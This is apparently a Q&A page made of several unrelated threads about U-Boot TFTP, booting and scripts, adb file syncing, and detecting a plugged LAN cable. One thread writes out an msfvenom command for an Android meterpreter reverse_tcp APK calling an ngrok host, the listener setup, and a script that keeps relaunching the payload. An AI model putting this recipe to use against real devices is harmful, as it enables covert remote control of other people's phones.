I want to copy files to mmc device over the network using TFTP.
I know that we can switch to the mmc device using "mmc dev" command at U-boot prompt. After switching to the mmc device, I need to copy the files to the mmc device over the network using tftp from U-bot prompt.
You cannot directly copy from MMC to TFTP.
Go through these step instead:
Setup network:
setenv autoload no
dhcp
Load the file to memory:
load mmc 0:1 $loadaddr /test.txt
The load command set environment variable filesize.
TFTP put:
tftpput $loadaddr $filesize 192.168.1.3:/upload/test.txt
Of course you should adjust the server IP address and the file paths.
In your U-Boot configuration you need:
CONFIG_CMD_DHCP=y
CONFIG_CMD_TFTPPUT=y
Related
I have an Android device at home that I use to develop on, and I'm connecting to it through my laptop with adb and scrcpy.
However, if I'm not home adb doesn't see the device. I made an apk for the device with msfvenom for reverse tcp like this:
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.tcp.ngrok.io LPORT=(ngrok port) R > /home/user/reversetcp.apk
then I set up the reverse tcp handler in msfconsole:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
msf6 exploit(multi/handler) > exploit
After this I install and run the apk on my device, then meterpreter opens the session;
[*] Meterpreter session 1 opened (127.0.0.1:25565 -> 127.0.0.1:40146) at 2023-01-07 21:39:43 +0100
and the ngrok console shows up 1 connection (my device). But if I try to add the ngrok server to adb like this:
adb connect "ngrok address"
(there I tried the ngrok tcp link, and 127.0.0.1 with both ports, none of them works) I get the following error: failed to connect to '127.0.0.1:25565': Connection refused I could make a vpn on my local network, but the power usually goes down, so the vpn is a dead end. what am I doing wrong? or adb can't connect with ngrok?
My second issue is, that meterpreter randomly closes the session after around 8 minutes, and if the device powers off and on or if the power goes out the device switches from wifi to mobile data, and I can't reconnect. How can I make the apk run on startup and reconnect if there is a change in the internet connection?
Update: I made an shell script to reopen the reverse tcp apk after 10 mins or if there is internet connection, but it would be better if the connection wouldn't close, and the device isn't rooted, so I can't add the script to the folder to run on startup. Another way to keep the reverse tcp connection would be better, to open an reverse tcp (and keep it open), and if there is change in the internet connection then reconnect automatically.
Btw, here is the script that i wrote:
#!/bin/sh
# check for internet connection
while ! ping -c 1 google.com &> /dev/null
do
# wait 20 seconds before trying again
sleep 20
done
# run the activity
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
# run the activity every 10 minutes
while true
do
sleep 600
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
done
I am convinced that it is not possible to connect a device using reverse meterpreter shell because ADB requires a raw TCP connection rather than meterpreter shell.
You can use the ZeroTier application to create a private network for your devices that can be accessible via the internet. It functions similarly to VPN, but traffic is routed directly rather than through a centralized VPN server.
This post describes how to connect adb using TCPIP in detail.
How do I boot an U-boot / Uimage?
in
/boot/uimage file
/boot-loader/u-boot bin
I tried to load it in arm and ppc but no luck
not sure what command i really need
i think i need to mount the folder as the folder has rest of the files it needs???
this is on a file in boot-loader
### console configuration ###
setenv stderr serial
setenv stdin serial
setenv stdout serial
#setenv baudrate 115200
setenv console ttyS2
and
setenv loadaddr 0x80007fc0
setenv image_file /boot/uImage
I think it outputs what it's doing on serial console but not sure if it has shell
only evidence to suggest it has shell is in a code its asking about product type and S/N
can only assume thats set through serial
I'm working with u-boot on ARM using QEMU. I'm using the 'versatilepb' machine since both Linux and u-boot work well with it. I would like to write a script to handle some of the boot procedures (set kernel args, calculate CRC's, etc...) - but I can't seem to find how to run my script. I've got the script in memory and I can identify it with u-boot:
VersatilePB # iminfo 0x285EC
## Checking Image at 000285ec ...
Legacy image found
Image Name: Test Linux Boot
Image Type: ARM Linux Script (uncompressed)
Data Size: 300 Bytes = 300 Bytes
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 292 Bytes = 292 Bytes
Verifying Checksum ... OK
However, I can't figure out how to run it:
VersatilePB # run 0x285EC
Unknown command 'run' - try 'help'
VersatilePB # autoscr 0x285EC
Unknown command 'autoscr' - try 'help'
VersatilePB # go 0x285EC
## Starting application at 0x000285EC ...
qemu: fatal: Trying to execute code outside RAM or ROM at 0x56190526
I understand that the last command failed since I have a script image (built using mkimage -A arm -T script -C none -n "Test Linux Boot" -d myscript.sh ./boot-commands.img) and not an actual standalone application.
My test script is extremely simple and is just meant to boot a Linux kernel:
#Global Variables
FLASH_ADDR=0x34000000
BOOT_ARGS="console=ttyAMA0"
#Now we'll try booting it from the beginning of flash
setenv bootcmd bootm $FLASH_ADDR
setenv bootargs $BOOT_ARGS
Typing bootm 0x34000000 at the u-boot command line successfully boots the Linux kernel
Am I missing something on how to run a u-boot script?
This is a community wiki answer.
You should add the version of u-boot that you are using. For the "run" command, verify that CONFIG_CMD_RUN is defined in your configuration. by sessyargc.jp
The command autoscr is enabled by defining CONFIG_CMD_SOURCE in your configuration as per U-boot command documetnation. by Joe Kul
The scripts do not run as plain ascii and must be pre-processed by mkimage as per the documentation.
For a program I am using ADB to transfer a file from the computer to mobile phone.
Using adb push overwrites every existent file and thus takes ages to finish.
adb sync does only push the file if it exists on the phone AND contains other data than the local version.
Is there any midway solution? I want the file to be transferred if it doesn't exist or is changed, but not, if it is the same as on the computer. Is there a way to achieve this?
The best way to do this is to first check if the file exists and if it does then sync it and if it does not then push.
Skeleton for a batch script to do this:
FILENAME_RESULT=$(adb shell ls / | tr -d '\015'|grep '^fileName$')
if [ -z "$FILENAME_RESULT" ];
then
REM adb push because the file was not found
else
REM adb sync because the file was found
fi
adb push --sync /local/file /sdcard/remote/file
From adb --help
adb push [--sync] [-zZ] LOCAL... REMOTE copy local files/directories to device --sync: only push files that are newer on the host than the device. -z: enable compression -Z: disable compression
There's a really easy way to do this with adb-sync (https://github.com/google/adb-sync).
adb-sync is a tool to synchronize files between a PC and an Android device using the ADB (Android Debug Bridge).
i want to check if the LAN cable is plugged in on a linux system, is there any file in /sys or /proc that i can check (i would like to do it in C)?
To check if a cable is plugged you can look in /sys/class/net/
For ex. for eth0 connection:
$ grep "" /sys/class/net/eth0/*
/sys/class/net/eth0/carrier:0
/sys/class/net/eth0/operstate:down
As you can see, cable isn't plugged.
if it was plugged i was getting:
/sys/class/net/eth0/carrier:1
/sys/class/net/eth0/operstate:up
Run the ifconfig command which will show all the interfaces connected.